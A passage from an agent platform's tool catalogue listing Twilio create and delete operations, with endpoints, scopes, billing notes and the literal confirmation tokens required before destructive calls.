twilio_write. twilio_create_memory_store (write) — Create memory store — Creates a Memory store — the namespace holding profiles, traits and observations about the customer's own end users. POST /api/v1/tools/twilio/create-memory-store. Scopes: twilio_write. twilio_create_memory_trait_group (write) — Create memory trait group — Creates a named group of profile traits. POST /api/v1/tools/twilio/create-memory-trait-group. Scopes: twilio_write. twilio_create_messaging_service (write) — Create messaging service — Creates a Messaging Service. The webhook parameters — inbound request URL, status callback and fallback URL — are NOT accepted here: they repoint live traffic at a caller-chosen destination. Everything else about the service is settable. POST /api/v1/tools/twilio/create-messaging-service. Scopes: twilio_write. twilio_create_messaging_v2_channel_sender (write) — Create messaging v2 channel sender — Registers a WhatsApp or RCS sender through the v2 unified channel API. POST /api/v1/tools/twilio/create-messaging-v2-channel-sender. Scopes: twilio_write. twilio_create_numbers_bundle (write) — Create numbers bundle — Creates a DRAFT regulatory bundle. A bundle is the folder a country's telecom regulator requires before the account may keep a number there. Creating one files nothing: it starts in `draft` and only a status change submits it, which is deliberately not exposed. POST /api/v1/tools/twilio/create-numbers-bundle. Scopes: twilio_write. twilio_create_numbers_end_user (write) — Create numbers end user — Creates an end-user record — the person or business a regulator requires an address and identity for. Personal data; it is filed only when a bundle containing it is submitted, which is not exposed. POST /api/v1/tools/twilio/create-numbers-end-user. Scopes: twilio_write. twilio_create_numbers_supporting_document (write) — Create numbers supporting document — Creates a supporting-document record — the metadata for an identity or address document a regulator requires. The document's own contents are uploaded separately in the Console. POST /api/v1/tools/twilio/create-numbers-supporting-document. Scopes: twilio_write. twilio_create_queue (write) — Create queue — Creates a call queue with a maximum size. POST /api/v1/tools/twilio/create-queue. Scopes: twilio_write. twilio_create_sip_credential_list (write) — Create SIP credential list — Creates an empty SIP credential list — the container a domain's authentication rules point at. POST /api/v1/tools/twilio/create-sip-credential-list. Scopes: twilio_write. twilio_create_sip_ip_access_control_list (write) — Create SIP IP access control list — Creates an empty IP access control list. POST /api/v1/tools/twilio/create-sip-ip-access-control-list. Scopes: twilio_write. twilio_create_sync_document (write) — Create sync document — Creates a Sync Document — one JSON object other clients can subscribe to. POST /api/v1/tools/twilio/create-sync-document. Scopes: twilio_write. twilio_create_sync_list (write) — Create sync list — Creates a Sync List — an ordered collection other clients can subscribe to. POST /api/v1/tools/twilio/create-sync-list. Scopes: twilio_write. twilio_create_sync_list_item (write) — Create sync list item — Appends one item to a Sync List. POST /api/v1/tools/twilio/create-sync-list-item. Scopes: twilio_write. twilio_create_sync_map (write) — Create sync map — Creates a Sync Map — a key/value collection other clients can subscribe to. POST /api/v1/tools/twilio/create-sync-map. Scopes: twilio_write. twilio_create_sync_map_item (write) — Create sync map item — Creates one key/value item in a Sync Map. POST /api/v1/tools/twilio/create-sync-map-item. Scopes: twilio_write. twilio_create_sync_service (write) — Create sync service — Creates a Sync Service — a namespace for documents, lists, maps and streams. Free. POST /api/v1/tools/twilio/create-sync-service. Scopes: twilio_write. twilio_create_sync_stream (write) — Create sync stream — Creates a Sync Stream — a pub/sub channel with no stored history. POST /api/v1/tools/twilio/create-sync-stream. Scopes: twilio_write. twilio_create_taskrouter_activity (write) — Create taskrouter activity — Creates a worker activity — an availability state such as Idle or On Break. POST /api/v1/tools/twilio/create-taskrouter-activity. Scopes: twilio_write. twilio_create_taskrouter_task (write, destructive) — DESTRUCTIVE — Create taskrouter task — COSTS MONEY — $0.06 per task after the first 100 each month. ONE call creates ONE task at a fixed, knowable price, which is what makes it bounded: unlike triggering a Studio flow, nothing downstream of this call bills without another action. A required timeout caps how long it can sit unassigned. Requires confirm="create-one-billed-task": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/create-taskrouter-task. Scopes: twilio_write. twilio_create_taskrouter_task_channel (write) — Create taskrouter task channel — Creates a task channel — the per-channel capacity dimension (voice, chat, sms). POST /api/v1/tools/twilio/create-taskrouter-task-channel. Scopes: twilio_write. twilio_create_taskrouter_task_queue (write) — Create taskrouter task queue — Creates a task queue with a target-worker expression. POST /api/v1/tools/twilio/create-taskrouter-task-queue. Scopes: twilio_write. twilio_create_taskrouter_worker (write) — Create taskrouter worker — Creates a worker with a JSON attributes document used for routing. POST /api/v1/tools/twilio/create-taskrouter-worker. Scopes: twilio_write. twilio_create_taskrouter_workspace (write) — Create taskrouter workspace — Creates a TaskRouter workspace — the container for queues, workers and workflows. POST /api/v1/tools/twilio/create-taskrouter-workspace. Scopes: twilio_write. twilio_create_verify_entity (write) — Create verify entity — Creates an entity — the identity a factor is later enrolled against. POST /api/v1/tools/twilio/create-verify-entity. Scopes: twilio_write. twilio_create_verify_messaging_configuration (write) — Create verify messaging configuration — Maps one country to the Messaging Service that carries its verification SMS. POST /api/v1/tools/twilio/create-verify-messaging-configuration. Scopes: twilio_write. twilio_create_verify_rate_limit (write) — Create verify rate limit — Creates a named rate limit — a throttle on how many verifications a key (an IP, a number) may trigger. POST /api/v1/tools/twilio/create-verify-rate-limit. Scopes: twilio_write. twilio_create_verify_rate_limit_bucket (write) — Create verify rate limit bucket — Adds a bucket to a rate limit: an explicit maximum number of verifications per interval. This is how a ceiling is SET. POST /api/v1/tools/twilio/create-verify-rate-limit-bucket. Scopes: twilio_write. twilio_create_verify_service (write) — Create verify service — Creates a Verify service. Creating one sends nothing — pushing a code to a phone number is a separate operation Agentic Fabriq does not expose. POST /api/v1/tools/twilio/create-verify-service. Scopes: twilio_write. twilio_create_video_composition (write, destructive) — DESTRUCTIVE — Create video composition — COSTS MONEY — $0.01 per composed minute. Bounded by the recording it composes, which already exists and has a fixed length; this creates no new media time. Requires confirm="compose-this-recording": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/create-video-composition. Scopes: twilio_write. twilio_create_video_room (write, destructive) — DESTRUCTIVE — Create video room — COSTS MONEY — $0.004 per participant-minute. BOUNDED BY REQUIRED ARGUMENTS: max_participants, max_participant_duration, empty_room_timeout and unused_room_timeout are all mandatory here though Twilio makes them optional, so the ceiling is max_participants x max_participant_duration and it is stated in the call. twilio_complete_video_room ends the room early. Recording and transcription are NOT enabled by this action. Requires confirm="create-a-billed-video-room": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/create-video-room. Scopes: twilio_write. twilio_delete_address (write, destructive) — DESTRUCTIVE — Delete address — Fails while a number depends on it — check twilio_list_dependent_phone_numbers first. Requires confirm="delete-this-address": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-address. Scopes: twilio_delete. twilio_delete_bulkexport_job (write) — DESTRUCTIVE — Delete bulkexport job — Cancels or removes a bulk-export job. CREATING one writes the whole account's history to a caller-chosen destination and is not exposed; cancelling one only ever removes work in flight. Requires confirm="cancel-this-export-job": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-bulkexport-job. Scopes: twilio_delete. twilio_delete_content_template (write, destructive) — DESTRUCTIVE — permanently delete one content template. Twilio publishes no restore, and deleting an APPROVED template discards the approval with it, so recreating the same body starts Meta's review from the beginning. Any Messaging Service or scheduled send still referencing the SID starts failing. Requires confirm=true. Check the template with twilio_get_content_template first — the SID is the only thing distinguishing two templates with similar names. POST /api/v1/tools/twilio/content-template/delete. Scopes: twilio_delete. twilio_delete_conversation (write, destructive) — DESTRUCTIVE — Delete conversation — Deletes the thread AND every message in it, for every participant. Twilio publishes no restore. Requires confirm="delete-conversation-and-all-messages-delete-conversation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversation. Scopes: twilio_delete. twilio_delete_conversation_message (write, destructive) — DESTRUCTIVE — Delete conversation message — Permanent, and it does not recall a message already delivered to a handset. Requires confirm="delete-this-message-conversation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversation-message. Scopes: twilio_delete. twilio_delete_conversations_address_configuration (write, destructive) — DESTRUCTIVE — Delete conversations address configuration — Inbound messages to the address stop starting conversations. Requires confirm="stop-routing-this-address": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-address-configuration. Scopes: twilio_delete. twilio_delete_conversations_role (write, destructive) — DESTRUCTIVE — Delete conversations role — Users holding it fall back to the service default, which may be wider or narrower. Requires confirm="delete-this-role-conversations": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-role. Scopes: twilio_delete. twilio_delete_conversations_service (write, destructive) — DESTRUCTIVE — Delete conversations service — Deletes the service AND every conversation, message, user and role inside it. Requires confirm="delete-service-and-everything-in-it": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-service. Scopes: twilio_delete. twilio_delete_conversations_service_binding (write, destructive) — DESTRUCTIVE — Delete conversations service binding — Removes one device's push binding; that device stops receiving push notifications. Requires confirm="delete-this-push-binding": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-service-binding. Scopes: twilio_delete. twilio_delete_conversations_service_conversation (write, destructive) — DESTRUCTIVE — Delete conversations service conversation — The service-scoped form of the same operation. Requires confirm="delete-conversation-and-all-messages-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-service-conversation. Scopes: twilio_delete. twilio_delete_conversations_service_message (write, destructive) — DESTRUCTIVE — Delete conversations service message — The service-scoped form of the same operation. Requires confirm="delete-this-message-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-service-message. Scopes: twilio_delete. twilio_delete_conversations_service_role (write, destructive) — DESTRUCTIVE — Delete conversations service role — The service-scoped form of the same operation. Requires confirm="delete-this-role-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-service-role. Scopes: twilio_delete. twilio_delete_conversations_service_user (write, destructive) — DESTRUCTIVE — Delete conversations service user — The service-scoped form of the same operation. Requires confirm="delete-this-user-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-service-user. Scopes: twilio_delete. twilio_delete_conversations_service_user_conversation (write, destructive) — DESTRUCTIVE — Delete conversations service user conversation — The service-scoped form of the same operation. Requires confirm="remove-user-from-conversation-delete-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-service-user-conversation. Scopes: twilio_delete. twilio_delete_conversations_user (write, destructive) — DESTRUCTIVE — Delete conversations user — Removes the identity from every conversation it is in. Requires confirm="delete-this-user-conversations": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-user. Scopes: twilio_delete. twilio_delete_conversations_user_conversation (write, destructive) — DESTRUCTIVE — Delete conversations user conversation — The service-scoped form of the same operation. Requires confirm="remove-user-from-conversation-delete-conversations": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-user-conversation. Scopes: twilio_delete. twilio_delete_conversations_v2_configuration (write) — DESTRUCTIVE — Delete conversations v2 configuration — Conversations referencing it lose their settings. Requires confirm="delete-this-v2-configuration": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-v2-configuration. Scopes: twilio_delete. twilio_delete_conversations_v2_conversation (write) — DESTRUCTIVE — Delete conversations v2 conversation — Deletes the thread and its whole message history for every participant. Asynchronous on Twilio's side — the call returns before the deletion finishes, and there is no cancel. Requires confirm="delete-v2-conversation-and-all-messages": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-conversations-v2-conversation. Scopes: twilio_delete. twilio_delete_intelligence_operator (write) — DESTRUCTIVE — Delete intelligence operator — Permanent. Requires confirm="delete-this-extraction-operator": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-intelligence-operator. Scopes: twilio_delete. twilio_delete_intelligence_service (write) — DESTRUCTIVE — Delete intelligence service — Deletes the service AND the transcripts under it — transcripts of real conversations, already paid for per minute. Requires confirm="delete-service-and-its-transcripts": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-intelligence-service. Scopes: twilio_delete. twilio_delete_intelligence_transcript (write) — DESTRUCTIVE — Delete intelligence transcript — Permanently deletes a transcript of a real conversation, and the money already spent transcribing it is not refunded. Requires confirm="delete-this-conversation-transcript": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-intelligence-transcript. Scopes: twilio_delete. twilio_delete_intelligence_v3_configuration (write) — DESTRUCTIVE — Delete intelligence v3 configuration — Rules under it stop running. Requires confirm="delete-this-intelligence-configuration": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-intelligence-v3-configuration. Scopes: twilio_delete. twilio_delete_intelligence_v3_operator (write) — DESTRUCTIVE — Delete intelligence v3 operator — Permanent. Requires confirm="delete-this-v3-operator": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-intelligence-v3-operator. Scopes: twilio_delete. twilio_delete_intelligence_v3_operator_result (write) — DESTRUCTIVE — Delete intelligence v3 operator result — Deletes one extraction result. The transcript it came from is untouched. Requires confirm="delete-this-operator-result": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-intelligence-v3-operator-result. Scopes: twilio_delete. twilio_delete_knowledge_source (write) — DESTRUCTIVE — Delete knowledge source — Deletes the source and its embeddings. Anything answering from it stops. Requires confirm="delete-this-knowledge-source": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-knowledge-source. Scopes: twilio_delete. twilio_delete_knowledge_v2_base (write) — DESTRUCTIVE — Delete knowledge v2 base — Deletes the base AND every knowledge source inside it. Requires confirm="delete-base-and-all-its-sources": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-knowledge-v2-base. Scopes: twilio_delete. twilio_delete_knowledge_v2_source (write) — DESTRUCTIVE — Delete knowledge v2 source — Permanent. Requires confirm="delete-this-knowledge-v2-source": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-knowledge-v2-source. Scopes: twilio_delete. twilio_delete_lookup_override (write, destructive) — DESTRUCTIVE — Delete lookup override — Lookup goes back to reporting the carrier's own data for that number. Requires confirm="delete-this-lookup-override": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-lookup-override. Scopes: twilio_delete. twilio_delete_memory_conversation_summary (write) — DESTRUCTIVE — Delete memory conversation summary — Permanent. Requires confirm="delete-this-conversation-summary": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-memory-conversation-summary. Scopes: twilio_delete. twilio_delete_memory_data_mapping (write) — DESTRUCTIVE — Delete memory data mapping — Incoming data for that field stops being recorded. Requires confirm="delete-this-data-mapping": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-memory-data-mapping. Scopes: twilio_delete. twilio_delete_memory_observation (write) — DESTRUCTIVE — Delete memory observation — Permanent. Requires confirm="delete-this-observation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-memory-observation. Scopes: twilio_delete. twilio_delete_memory_profile (write) — DESTRUCTIVE — Delete memory profile — Deletes one person's profile and everything attached to it. Permanent, and the right operation for a data-subject erasure request. Requires confirm="delete-this-persons-profile": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-memory-profile. Scopes: twilio_delete. twilio_delete_memory_profile_identifier (write) — DESTRUCTIVE — Delete memory profile identifier — The person stops being recognised by it and their next contact may create a second profile. Requires confirm="delete-this-identifier": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-memory-profile-identifier. Scopes: twilio_delete. twilio_delete_memory_store (write) — DESTRUCTIVE — Delete memory store — Deletes the store AND every profile, identifier, trait and observation inside it. Twilio publishes no restore, and the contents are personal data about the customer's end users. Requires confirm="delete-store-and-every-profile-in-it": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-memory-store. Scopes: twilio_delete. twilio_delete_memory_trait_group (write) — DESTRUCTIVE — Delete memory trait group — Removes the group and its traits from every profile that has it. Requires confirm="delete-this-trait-group": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-memory-trait-group. Scopes: twilio_delete. twilio_delete_message (write, destructive) — DESTRUCTIVE — permanently delete one message record and any media attached to it. Twilio publishes no restore endpoint and states that deleted content is non-recoverable, so neither you nor an operator can undo this call. It does NOT recall a delivered message; the handset keeps it. A message that has not reached a terminal status cannot be deleted at all — Twilio answers error 20009, and the fix is to wait a few minutes. Confirm the SID with twilio_get_message first. DELETE /api/v1/tools/twilio/message. Scopes: twilio_delete. twilio_delete_messaging_service (write) — DESTRUCTIVE — Delete messaging service — Deletes the service and its sender pool. Any send that names its SID starts failing, and the A2P campaign registered against it is orphaned. Requires confirm="delete-this-messaging-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-messaging-service. Scopes: twilio_delete. twilio_delete_messaging_v2_channel_sender (write) — DESTRUCTIVE — Delete messaging v2 channel sender — WhatsApp or RCS sends from that sender stop working, and re-registering goes through the channel provider's approval again. Requires confirm="delete-this-v2-channel-sender": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-messaging-v2-channel-sender. Scopes: twilio_delete. twilio_delete_numbers_bundle (write) — DESTRUCTIVE — Delete numbers bundle — Deletes the bundle and its item assignments. If it was approved and a number depends on it, that number can become non-compliant and be reclaimed by the regulator. Requires confirm="delete-this-regulatory-bundle": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-numbers-bundle. Scopes: twilio_delete. twilio_delete_numbers_caller_id (write) — DESTRUCTIVE — Delete numbers caller id — On a trial account this can remove the only number the account is allowed to message. Re-verifying is not exposed. Requires confirm="delete-this-verified-caller-id": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-numbers-caller-id. Scopes: twilio_delete. twilio_delete_numbers_end_user (write) — DESTRUCTIVE — Delete numbers end user — Permanent, and any bundle referencing it loses that evidence. Requires confirm="delete-this-end-user-record": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-numbers-end-user. Scopes: twilio_delete. twilio_delete_numbers_supporting_document (write) — DESTRUCTIVE — Delete numbers supporting document — Permanent, and any bundle referencing it loses that evidence. Requires confirm="delete-this-supporting-document": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-numbers-supporting-document. Scopes: twilio_delete. twilio_delete_queue (write, destructive) — DESTRUCTIVE — Delete queue — Fails while calls are in the queue. Requires confirm="delete-this-queue-delete-queue": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-queue. Scopes: twilio_delete. twilio_delete_recording (write, destructive) — DESTRUCTIVE — permanently delete one recording and its transcriptions. Twilio publishes no restore endpoint, so neither you nor an operator can undo this. It removes a recording of a real conversation between real people; confirm the SID with twilio_get_recording first. Exactly the shape of twilio_delete_message, and it uses the same twilio_delete scope. POST /api/v1/tools/twilio/recording/delete. Scopes: twilio_delete. twilio_delete_sip_credential (write) — DESTRUCTIVE — Delete SIP credential — Removes one SIP username. That endpoint stops registering immediately. CREATING one is not exposed — the request carries a Password — so this cannot be undone through Agentic Fabriq; a human recreates it in the Console. Requires confirm="delete-this-sip-credential": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sip-credential. Scopes: twilio_delete. twilio_delete_sip_credential_list (write) — DESTRUCTIVE — Delete SIP credential list — Deletes the list AND every credential in it. Any SIP endpoint authenticating against those credentials stops registering, so inbound calls to the domain stop. Requires confirm="delete-this-credential-list": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sip-credential-list. Scopes: twilio_delete. twilio_delete_sip_ip_access_control_list (write) — DESTRUCTIVE — Delete SIP IP access control list — Deletes the list AND every IP range in it, so traffic from those addresses stops being accepted. Requires confirm="delete-this-ip-access-control-list": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sip-ip-access-control-list. Scopes: twilio_delete. twilio_delete_sync_document (write, destructive) — DESTRUCTIVE — Delete sync document — Permanent; every subscribed client sees the document removed. Requires confirm="delete-this-document": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-document. Scopes: twilio_delete. twilio_delete_sync_document_permission (write, destructive) — DESTRUCTIVE — Delete sync document permission — Revokes one identity's access to a Sync document. A running client loses it immediately. Requires confirm="revoke-this-identity-access-sync-document-permission": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-document-permission. Scopes: twilio_delete. twilio_delete_sync_list (write, destructive) — DESTRUCTIVE — Delete sync list — Deletes the list AND every item in it. Requires confirm="delete-list-and-all-its-items": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-list. Scopes: twilio_delete. twilio_delete_sync_list_item (write, destructive) — DESTRUCTIVE — Delete sync list item — Permanent. Item indexes are not reused. Requires confirm="delete-this-list-item": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-list-item. Scopes: twilio_delete. twilio_delete_sync_list_permission (write, destructive) — DESTRUCTIVE — Delete sync list permission — Revokes one identity's access to a Sync list. A running client loses it immediately. Requires confirm="revoke-this-identity-access-sync-list-permission": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-list-permission. Scopes: twilio_delete. twilio_delete_sync_map (write, destructive) — DESTRUCTIVE — Delete sync map — Deletes the map AND every item in it. Requires confirm="delete-map-and-all-its-items": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-map. Scopes: twilio_delete. twilio_delete_sync_map_item (write, destructive) — DESTRUCTIVE — Delete sync map item — Permanent. Requires confirm="delete-this-map-item": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-map-item. Scopes: twilio_delete. twilio_delete_sync_map_permission (write, destructive) — DESTRUCTIVE — Delete sync map permission — Revokes one identity's access to a Sync map. A running client loses it immediately. Requires confirm="revoke-this-identity-access-sync-map-permission": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-map-permission. Scopes: twilio_delete. twilio_delete_sync_service (write, destructive) — DESTRUCTIVE — Delete sync service — Deletes the Service AND every document, list, map and stream inside it. Twilio publishes no restore. Requires confirm="delete-service-and-all-its-data": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-service. Scopes: twilio_delete. twilio_delete_sync_stream (write, destructive) — DESTRUCTIVE — Delete sync stream — Permanent; subscribers are disconnected. Requires confirm="delete-this-stream": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-sync-stream. Scopes: twilio_delete. twilio_delete_taskrouter_activity (write, destructive) — DESTRUCTIVE — Delete taskrouter activity — Fails while any worker is in it. Requires confirm="delete-this-activity": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-taskrouter-activity. Scopes: twilio_delete. twilio_delete_taskrouter_task (write, destructive) — DESTRUCTIVE — Delete taskrouter task — Permanent; any reservation on it is cancelled. Requires confirm="delete-this-task": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-taskrouter-task. Scopes: twilio_delete. twilio_delete_taskrouter_task_channel (write, destructive) — DESTRUCTIVE — Delete taskrouter task channel — Permanent. Requires confirm="delete-this-task-channel": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-taskrouter-task-channel. Scopes: twilio_delete. twilio_delete_taskrouter_task_queue (write, destructive) — DESTRUCTIVE — Delete taskrouter task queue — Tasks routed to it stop being assigned. Requires confirm="delete-this-queue-taskrouter-task": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-taskrouter-task-queue. Scopes: twilio_delete. twilio_delete_taskrouter_worker (write, destructive) — DESTRUCTIVE — Delete taskrouter worker — Permanent; any reservation held by the worker is cancelled. Requires confirm="delete-this-worker": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-taskrouter-worker. Scopes: twilio_delete. twilio_delete_taskrouter_workflow (write, destructive) — DESTRUCTIVE — Delete taskrouter workflow — Deletes a routing workflow. Tasks that referenced it stop being routed, and THERE IS NO RECREATE: authoring a workflow is a standing routing rule that acts on every future task with no Agentic Fabriq action row behind it, so it is deliberately not exposed. Delete this only if a human can rebuild it in the Console. Requires confirm="delete-this-routing-workflow": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-taskrouter-workflow. Scopes: twilio_delete. twilio_delete_taskrouter_workspace (write, destructive) — DESTRUCTIVE — Delete taskrouter workspace — Deletes the workspace AND every queue, worker, workflow and task in it. Twilio publishes no restore, and inbound work stops routing. Requires confirm="delete-workspace-and-all-routing": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-taskrouter-workspace. Scopes: twilio_delete. twilio_delete_verify_entity (write, destructive) — DESTRUCTIVE — Delete verify entity — Removes the identity AND every authentication factor enrolled to it, so that person can no longer complete a push or TOTP challenge until they re-enrol. Requires confirm="delete-identity-and-its-factors": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-verify-entity. Scopes: twilio_delete. twilio_delete_verify_factor (write, destructive) — DESTRUCTIVE — Delete verify factor — Removes one enrolled authentication factor from a real person's account. They lose that second factor immediately and must re-enrol. Enrolling one is NOT exposed: the response carries the factor's binding secret. Requires confirm="remove-this-users-second-factor": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-verify-factor. Scopes: twilio_delete. twilio_delete_verify_messaging_configuration (write, destructive) — DESTRUCTIVE — Delete verify messaging configuration — Verifications for that country fall back to the service default. Requires confirm="stop-routing-this-country": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-verify-messaging-configuration. Scopes: twilio_delete. twilio_delete_verify_service (write, destructive) — DESTRUCTIVE — Delete verify service — Deletes the service AND its entities, factors and rate limits. Requires confirm="delete-service-and-its-entities": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-verify-service. Scopes: twilio_delete. twilio_delete_video_composition (write, destructive) — DESTRUCTIVE — Delete video composition — Permanent. Requires confirm="delete-this-composition": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-video-composition. Scopes: twilio_delete. twilio_delete_video_composition_hook (write, destructive) — DESTRUCTIVE — Delete video composition hook — Stops future rooms being composed automatically. CREATING a hook is deliberately not exposed: it is a standing rule that composes and bills every future room with no Agentic Fabriq action row behind it. Requires confirm="delete-this-composition-hook": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-video-composition-hook. Scopes: twilio_delete. twilio_delete_video_recording (write, destructive) — DESTRUCTIVE — Delete video recording — Permanently deletes a recording of real people. Twilio publishes no restore. Requires confirm="delete-this-video-recording-delete-video-recording": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-video-recording. Scopes: twilio_delete. twilio_delete_video_room_recording (write, destructive) — DESTRUCTIVE — Delete video room recording — The room-scoped form. Permanent. Requires confirm="delete-this-video-recording-room": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/delete-video-room-recording. Scopes: twilio_delete. twilio_detach_intelligence_operator (write) — DESTRUCTIVE — Detach intelligence operator — Detaches an operator from a service so it stops running on new transcripts — and stops billing for them. ATTACHING is not exposed, so this cannot be undone through Agentic Fabriq; a human re-attaches it in the Console. Requires confirm="stop-running-this-operator": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/detach-intelligence-operator. Scopes: twilio_delete. twilio_disconnect_video_participant (write, destructive) — DESTRUCTIVE — Disconnect video participant — Disconnects one participant from a live room. They are removed from a call with other real people. Requires confirm="disconnect-this-participant": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/disconnect-video-participant. Scopes: twilio_write. twilio_evaluate_numbers_bundle (write) — Evaluate numbers bundle — Runs the regulator's compliance rules against a draft bundle and returns pass or fail per requirement. This is the CHECK, not the submission — it tells the customer what is still missing before a human files it. Free. POST /api/v1/tools/twilio/evaluate-numbers-bundle. Scopes: twilio_write. twilio_execute_intelligence_v3_rule (write) — DESTRUCTIVE — Execute intelligence v3 rule — COSTS MONEY — Language Operators bill per 1,000 characters. BOUNDED BY CONSTRUCTION: one call runs one rule against ONE named conversation whose length is already fixed, so nothing downstream of this call bills without another action. That is the distinction from triggering a Studio flow, which stays out. Requires confirm="run-this-rule-against-one-conversation": a literal token, not a flag, so 